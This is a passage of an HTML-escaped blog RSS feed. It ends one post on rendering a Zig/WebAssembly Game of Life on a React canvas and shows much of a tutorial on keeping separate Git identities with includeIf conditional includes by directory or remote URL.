&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; () &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;cancelAnimationFrame&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;animationRef&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;current&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}, [&lt;span style="color:#a6e22e"&gt;wasm&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;initialized&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;running&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;render&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This decouples the render rate (60fps) from the simulation rate (configurable via &lt;code&gt;TICK_SPEED&lt;/code&gt;). The simulation can run at 10 generations per second while the canvas updates smoothly.&lt;/p&gt;
&lt;h3 id="canvas-drawing"&gt;Canvas Drawing&lt;/h3&gt;
&lt;p&gt;The actual drawing is intentionally simple:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-typescript" data-lang="typescript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;render&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;useCallback&lt;/span&gt;(() &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;canvas&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;canvasRef&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;current&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ctx&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;canvas&lt;/span&gt;&lt;span style="color:#f92672"&gt;?&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getContext&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;2d&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;canvas&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;ctx&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;initialized&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;gridSize&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;width&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;w&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;gridSize&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;width&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;h&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;gridSize&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;height&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;cells&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getCellsArray&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;wasm&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Clear screen
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;ctx&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;fillStyle&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;#000&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;ctx&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;fillRect&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;canvas&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;width&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;canvas&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;height&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;ctx&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;fillStyle&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;#d65d0e&amp;#34;&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// Gruvbox orange
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;; &lt;span style="color:#a6e22e"&gt;y&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;h&lt;/span&gt;; &lt;span style="color:#a6e22e"&gt;y&lt;/span&gt;&lt;span style="color:#f92672"&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;; &lt;span style="color:#a6e22e"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;w&lt;/span&gt;; &lt;span style="color:#a6e22e"&gt;x&lt;/span&gt;&lt;span style="color:#f92672"&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;idx&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;w&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;x&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Cell is alive
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;cells&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;idx&lt;/span&gt;] &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;ctx&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;fillRect&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CELL_SIZE&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;y&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CELL_SIZE&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;CELL_SIZE&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;CELL_SIZE&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}, [&lt;span style="color:#a6e22e"&gt;wasm&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;initialized&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;gridSize&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Clear the canvas, iterate over cells, draw filled rectangles for live cells. The Gruvbox orange on black gives it a nice retro terminal aesthetic.&lt;/p&gt;
&lt;h2 id="lessons-learned"&gt;Lessons Learned&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Zig&amp;rsquo;s standard library is surprisingly complete.&lt;/strong&gt; I expected to need &lt;code&gt;@cImport&lt;/code&gt; for the &lt;code&gt;ioctl&lt;/code&gt; call, but &lt;code&gt;std.posix&lt;/code&gt; and &lt;code&gt;std.os.linux&lt;/code&gt; already expose the necessary types and functions. Truly zero dependencies—not even C headers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Zig&amp;rsquo;s optionals are great for FFI.&lt;/strong&gt; The &lt;code&gt;?T&lt;/code&gt; pattern naturally expresses &amp;ldquo;this might not be initialized yet&amp;rdquo; and the compiler forces you to handle both cases.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Zero-copy is worth the setup.&lt;/strong&gt; Exposing raw pointers across the WASM boundary felt slightly dangerous, but the performance benefit is worth it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Memory management across boundaries requires thought.&lt;/strong&gt; The resize memory leak was subtle. In pure Zig, you&amp;rsquo;d typically free in the same scope you allocated via a &lt;code&gt;defer&lt;/code&gt;. With WASM + React, the lifecycles are driven by JS/TS, so you need explicit cleanup at those boundaries.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Zig&amp;rsquo;s build system is underrated.&lt;/strong&gt; Configuring both native and WASM targets in a single &lt;code&gt;build.zig&lt;/code&gt; with proper module dependencies just works. No CMake, no separate toolchains, no wasm-pack.&lt;/p&gt;</description></item><item><title>Managing Multiple Git Configurations</title><link>https://doprz.dev/blog/posts/git-conditional-config/</link><pubDate>Mon, 05 Jan 2026 00:00:00 +0000</pubDate><guid>https://doprz.dev/blog/posts/git-conditional-config/</guid><description>&lt;p&gt;If you&amp;rsquo;re like most developers, you probably work on multiple projects across different contexts. Maybe you contribute to open source projects with your personal email, work on company projects with your work email, and maintain client projects with yet another identity. Manually switching git configurations between projects is tedious and error-prone. Fortunately, Git has a powerful feature that solves this problem elegantly: conditional includes with &lt;code&gt;includeIf&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="the-problem"&gt;The Problem&lt;/h2&gt;
&lt;p&gt;Consider this common scenario: You&amp;rsquo;ve just finished committing some personal project code, then switch to your work repository and make a commit. Hours later, you realize with horror that your personal email is now in your company&amp;rsquo;s git history. This can happen especially as development setups and projects increase in complexity over time. On-call all nighters don&amp;rsquo;t help either and it&amp;rsquo;s an easy mistake to make.&lt;/p&gt;
&lt;p&gt;The traditional solution involves manually running &lt;code&gt;git config user.email&lt;/code&gt; every time you switch contexts, but this is fragile and easy to forget.&lt;/p&gt;
&lt;h2 id="the-solution-conditional-includes"&gt;The Solution: Conditional Includes&lt;/h2&gt;
&lt;p&gt;Git&amp;rsquo;s &lt;a href="https://git-scm.com/docs/git-config#_conditional_includes"&gt;&lt;code&gt;includeIf&lt;/code&gt; directive&lt;/a&gt; allows you to automatically load different configuration files based on the repository&amp;rsquo;s location. This means you can set up your git config once and never worry about it again.&lt;/p&gt;
&lt;h2 id="how-it-works"&gt;How It Works&lt;/h2&gt;
&lt;p&gt;The basic syntax in your global &lt;code&gt;~/.gitconfig&lt;/code&gt; file looks like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[includeIf &amp;#34;gitdir:~/work/&amp;#34;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;~/.gitconfig-work&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[includeIf &amp;#34;gitdir:~/personal/&amp;#34;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;~/.gitconfig-personal&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When you run a git command, Git checks the current repository&amp;rsquo;s location against these patterns. If there&amp;rsquo;s a match, it loads the additional configuration file specified in the &lt;code&gt;path&lt;/code&gt; directive.&lt;/p&gt;
&lt;h2 id="setting-it-up"&gt;Setting It Up&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s walk through a complete setup for managing work and personal projects.&lt;/p&gt;
&lt;h3 id="step-1-organize-your-repositories"&gt;Step 1: Organize Your Repositories&lt;/h3&gt;
&lt;p&gt;First, organize your repositories by context. For example:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;~/work/ # All work-related repositories
~/personal/ # Personal projects
~/clients/ # Client projects
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="step-2-create-separate-config-files"&gt;Step 2: Create Separate Config Files&lt;/h3&gt;
&lt;p&gt;Create a git configuration file for each context. For work:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ~/.gitconfig-work&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;user&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Your Name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; email &lt;span style="color:#f92672"&gt;=&lt;/span&gt; you@company.com
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; signingkey &lt;span style="color:#f92672"&gt;=&lt;/span&gt; WORK_GPG_KEY_ID
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;commit&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; gpgsign &lt;span style="color:#f92672"&gt;=&lt;/span&gt; true
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For personal projects:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ~/.gitconfig-personal&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;user&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Your Name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; email &lt;span style="color:#f92672"&gt;=&lt;/span&gt; you@personal.com
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; signingkey &lt;span style="color:#f92672"&gt;=&lt;/span&gt; PERSONAL_GPG_KEY_ID
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;commit&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; gpgsign &lt;span style="color:#f92672"&gt;=&lt;/span&gt; true
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="step-3-update-your-global-config"&gt;Step 3: Update Your Global Config&lt;/h3&gt;
&lt;p&gt;Edit your &lt;code&gt;~/.gitconfig&lt;/code&gt; to include conditional directives:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[user]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Fallback configuration&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;Your Name
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; email = you@personal.com&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[includeIf &amp;#34;gitdir:~/work/&amp;#34;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;~/.gitconfig-work&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[includeIf &amp;#34;gitdir:~/personal/&amp;#34;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;~/.gitconfig-personal&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[includeIf &amp;#34;gitdir:~/clients/&amp;#34;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;~/.gitconfig-clients&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="important-notes-about-pattern-matching"&gt;Important Notes About Pattern Matching&lt;/h2&gt;
&lt;h3 id="trailing-slashes-matter"&gt;Trailing Slashes Matter&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;gitdir&lt;/code&gt; pattern must end with a forward slash to match a directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Correct - matches ~/work/ and all subdirectories&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[includeIf &amp;#34;gitdir:~/work/&amp;#34;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Wrong - won&amp;#39;t match subdirectories properly&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[includeIf &amp;#34;gitdir:~/work&amp;#34;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="case-sensitivity"&gt;Case Sensitivity&lt;/h3&gt;
&lt;p&gt;On case-sensitive filesystems (Linux, macOS with case-sensitive APFS), the paths are case-sensitive. On Windows and standard macOS, they&amp;rsquo;re case-insensitive.&lt;/p&gt;
&lt;h3 id="wildcards"&gt;Wildcards&lt;/h3&gt;
&lt;p&gt;You can use &lt;code&gt;**&lt;/code&gt; for more complex matching patterns:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Match any &amp;#34;company-name&amp;#34; directory anywhere&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[includeIf &amp;#34;gitdir:**/company-name/**&amp;#34;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;~/.gitconfig-company&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="alternative-approach-matching-by-remote-url"&gt;Alternative Approach: Matching by Remote URL&lt;/h2&gt;
&lt;p&gt;If you don&amp;rsquo;t organize your repositories by directory, or if you work with multiple Git hosting services, you can use &lt;a href="https://git-scm.com/docs/git-config#Documentation/git-config.txt-hasconfigremoteurl"&gt;&lt;code&gt;hasconfig:remote.*.url&lt;/code&gt;&lt;/a&gt; to apply configurations based on the remote URL pattern. This is particularly useful when you use GitHub for personal projects, GitLab for work, and Codeberg for open source contributions.&lt;/p&gt;
&lt;h3 id="setup-by-remote-url"&gt;Setup by Remote URL&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ~/.gitconfig&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[includeIf &amp;#34;hasconfig:remote.*.url:git@github.com:your-work-org/**&amp;#34;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;~/.gitconfig-work&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[includeIf &amp;#34;hasconfig:remote.*.url:git@gitlab.com:company/**&amp;#34;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;~/.gitconfig-company&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[includeIf &amp;#34;hasconfig:remote.*.url:https://codeberg.org/**&amp;#34;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;~/.gitconfig-codeberg&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[includeIf &amp;#34;hasconfig:remote.*.url:git@bitbucket.org:*/**&amp;#34;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;~/.gitconfig-bitbucket&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[includeIf &amp;#34;hasconfig:remote.*.url:git@github.com:your-personal/**&amp;#34;]&lt;/span&gt;
